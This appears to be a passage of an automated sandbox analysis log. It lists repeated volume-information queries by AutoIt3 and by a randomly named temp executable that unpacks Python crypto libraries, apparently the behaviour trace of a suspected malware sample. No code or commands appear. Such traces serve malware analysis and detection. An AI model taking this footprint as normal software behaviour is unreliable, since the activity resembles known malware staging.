Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0513~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Windows.StartLayout.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.Windows.StartLayout.Commands.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Whea\Microsoft.Windows.Whea.WheaMemoryPolicy.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsSearch\Microsoft.WindowsSearch.Commands.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WindowsSearch.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsSearch.Commands.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Util VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Pythonwin VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\cryptography-44.0.0.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\cryptography-44.0.0.dist-info VolumeInformation
